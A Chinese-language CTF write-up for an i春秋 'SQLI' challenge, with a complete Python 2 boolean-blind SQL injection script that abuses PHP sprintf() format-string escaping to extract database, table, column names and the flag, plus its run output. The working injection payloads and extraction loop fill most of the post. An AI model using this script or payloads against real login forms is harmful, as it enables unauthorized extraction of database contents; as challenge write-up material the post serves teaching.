0x01

本题所需知识清单：

1.php sprintf()函数漏洞：https://blog.csdn.net/WQ_BCJ/article/details/85057447

2.布尔盲注基本playload及流程：https://blog.csdn.net/WQ_BCJ/article/details/84592445

3.Burpsuit  Intruder暴力猜解：https://blog.csdn.net/snert/article/details/49749757

4.盲注python(2)脚本：

#coding:utf-8

import requests

import string

def boom():

    url = r'http://10adf3af0baf4f6389bc0eed2495da87fd5e4464bed344e9.game.ichunqiu.com/'

    s = requests.session()

    #会话对象requests.Session能够跨请求地保持某些参数，比如cookies，即在同一个Session实例发出的所有请求都保持同一个cookies,而requests模块每次会自动处理cookies，这样就很方便地处理登录时的cookies问题。

    dic = string.digits + string.letters + "!@#$%^&*()_+{}-="

    right = 'password error!'

    error = 'username error!'

    lens = 0

    i = 0

    #确定当前数据库的长度

    while True:

        payload = "admin%1$\\' or " + "length(database())>" + str(i) + "#"

        data={'username':payload,'password':1}

        r = s.post(url,data=data).content

        if error in r:

            lens=i

            break

        i+=1

        pass

    print("[+]length(database()): %d" %(lens))

    #确定当前数据库的名字

    strs=''

    for i in range(lens+1):

        for c in dic:

            payload = "admin%1$\\' or " + "ascii(substr(database()," + str(i) +",1))=" + str(ord(c)) + "#"

            data = {'username':payload,'password':1}

            r = s.post(url,data=data).content

            if right in r:

                strs = strs + c

                print strs

                break

        pass

    pass

    print("[+]database():%s" %(strs))

    lens=0

    i = 1

    while True:

        payload = "admin%1$\\' or " + "(select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>" + str(i) + "#"

        #对当前的数据库，查询第一个表的长度

        data = {'username':payload,'password':1}

        r = s.post(url,data=data).content

        if error in r:

            lens = i

            break

        i+=1

        pass

    print("[+]length(table): %d" %(lens))

    #查询第一个表的名称

    strs=''

    for i in range(lens+1):

        for c in dic:

            payload = "admin%1$\\' or " + "ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1)," + str(i) +",1))=" + str(ord(c)) + "#"

            # 数字一定要str才可以传入

            data = {'username':payload,'password':1}

            r = s.post(url,data=data).content

            if right in r:

                strs = strs + c

                print strs

                break

        pass

    pass

    print("[+]table_name:%s" %(strs))

    tablename = '0x' + strs.encode('hex')

    #编码为16进制

    table_name = strs

    lens=0

    i = 0

    while True:

        payload = "admin%1$\\' or " + "(select length(column_name) from information_schema.columns where table_name = " + str(tablename) + " limit 0,1)>" + str(i) + "#"

        data = {'username':payload,'password':1}

        r = s.post(url,data=data).content

        if error in r:

            lens = i

            break

        i+=1

        pass

    print("[+]length(column): %d" %(lens))

    strs=''

    for i in range(lens+1):

        for c in dic:

            payload = "admin%1$\\' or " + "ascii(substr((select column_name from information_schema.columns where table_name = " + str(tablename) +" limit 0,1)," + str(i) + ",1))=" + str(ord(c)) + "#"

            data = {'username':payload,'password':1}

            r = s.post(url,data=data).content

            if right in r:

                strs = strs + c

                print strs

                break

        pass

    pass

    print("[+]column_name:%s" %(strs))

    column_name = strs

    num=0

    i = 0

    while True:

        payload = "admin%1$\\' or " + "(select count(*) from " + table_name + ")>" + str(i) + "#"

        data = {'username':payload,'password':1}

        r = s.post(url,data=data).content

        if error in r:

            num = i

            break

        i+=1

        pass

    print("[+]number(column): %d" %(num))

    lens=0

    i = 0

    while True:

        payload = "admin%1$\\' or " + "(select length(" + column_name + ") from " + table_name + " limit 0,1)>" + str(i) + "#"

        data = {'username':payload,'password':1}

        r = s.post(url,data=data).content

        if error in r:

            lens = i

            break

        i+=1

        pass

    print("[+]length(value): %d" %(lens))

    i=1

    strs=''

    for i in range(lens+1):

        for c in dic:

            payload = "admin%1$\\' or ascii(substr((select flag from flag limit 0,1)," + str(i) + ",1))=" + str(ord(c)) + "#"

            data = {'username':payload,'password':'1'}

            r = s.post(url,data=data).content

            if right in r:

                strs = strs + c

                print strs

                break

        pass

    pass

    print("[+]flag:%s" %(strs))

if __name__ == '__main__':

    boom()

    print 'Finish!'

0x02解题具体流程

#1. 根据题目SQLI可猜测本题可能为SQL注入

#2.尝试弱口令当username=admin显示密码错误而不是用户名错误可知用户名为admin

#3.使用普通的注入方法：https://blog.csdn.net/WQ_BCJ/article/details/85216275

无果，可以利用burpsuit上的Intruder看那些字符没有被过滤掉，具体使用方法在上面知识清单部分

破解结果为：对比多条length长度异常后发现%字符没有被过滤，且在respone里面发现sprintf()函数的报错（参数太少）

猜测可以利用sprintf()函数进行注入，下面来验证

#4.输入username=admin%1$' and 1=1 # 得到的结果是username error ，换成or则显示password error,证明admin后面的or 1=1       #被执行成功了,验证成功接下来就是盲注时间了：

#5.利用脚本得到flag:脚本及盲注基础知识知识清单处有详细介绍

D:\Python2.7\python2.exe F:/pycharm_work/sqli/sql.py

[+]length(database()): 3

c

ct

ctf

[+]database():ctf

[+]length(table): 4

f

fl

fla

flag

[+]table_name:flag

[+]length(column): 4

f

fl

fla

flag

[+]column_name:flag

[+]number(column): 1

[+]length(value): 42

f

fl

fla

flag

flag{

flag{b

flag{b5

flag{b5b

flag{b5b3

flag{b5b36

flag{b5b361

flag{b5b3612

flag{b5b36121

flag{b5b36121-

flag{b5b36121-8

flag{b5b36121-86

flag{b5b36121-86d

flag{b5b36121-86dd

flag{b5b36121-86dd-

flag{b5b36121-86dd-a

flag{b5b36121-86dd-a4

flag{b5b36121-86dd-a4d

flag{b5b36121-86dd-a4db

flag{b5b36121-86dd-a4db-

flag{b5b36121-86dd-a4db-a

flag{b5b36121-86dd-a4db-aa

flag{b5b36121-86dd-a4db-aab

flag{b5b36121-86dd-a4db-aab3

flag{b5b36121-86dd-a4db-aab3-

flag{b5b36121-86dd-a4db-aab3-8

flag{b5b36121-86dd-a4db-aab3-86

flag{b5b36121-86dd-a4db-aab3-86d

flag{b5b36121-86dd-a4db-aab3-86dd

flag{b5b36121-86dd-a4db-aab3-86ddb

flag{b5b36121-86dd-a4db-aab3-86ddb7

flag{b5b36121-86dd-a4db-aab3-86ddb74

flag{b5b36121-86dd-a4db-aab3-86ddb749

flag{b5b36121-86dd-a4db-aab3-86ddb749d

flag{b5b36121-86dd-a4db-aab3-86ddb749df

flag{b5b36121-86dd-a4db-aab3-86ddb749dfa

flag{自个做一遍去}

Finish!

Process finished with exit code 0

最新文章

1. About_PHP_数据类型&常用数组函数
2. 基础才是重中之重~stream和byte[]的概念与转化
3. Android添加快捷方式(Shortcut)到手机桌面
4. C语言与水仙花数
5. java基础回顾(八)——Queue
6. POJ 2195 Going Home 最小费用流 裸题
7. shell脚本实例
8. 批处理at命令--一切尽在计划中
9. C#使用log4net
10. information_schema.engines学习
11. win7安装 Apache2.2 PHP5.3 MySQL5.6
12. python 学习 有序字典
13. JPA 系列教程10-双向一对一关联表
14. [BZOJ]1076 奖励关(SCOI2008)
15. linux下分割和重组文件
16. 【codeforces 516B】Drazil and Tiles
17. <pre>标签：\r\n换行符的保留
18. Linux 通过rinetd端口转发来访问内网服务
19. java线程学习之线程创建
20. Openstack配置文件管理的变迁之路

热门文章

1. Doctrine\ORM\QueryBuilder 源码解析之 where
2. 对ESP8266的例子进行编译时报错check_python_dependencies的问题的解决
3. ssh-keygen复制公钥到对方机器共享后不能免密码的问题
4. 基于CPU版本的Caffe推理框架
5. 极客mysql16
6. 集成学习算法——adaboost
7. 被 C# 的 ThreadStatic 标记的静态变量，都存放在哪里了？
8. 公司新来的小姐姐不懂java中的static关键字，这样给她描述不香吗？
9. 新鲜出炉！两万月薪的Java工程师面试题，看看你能做出来多少？
10. 思维导图软件iMindMap怎么使用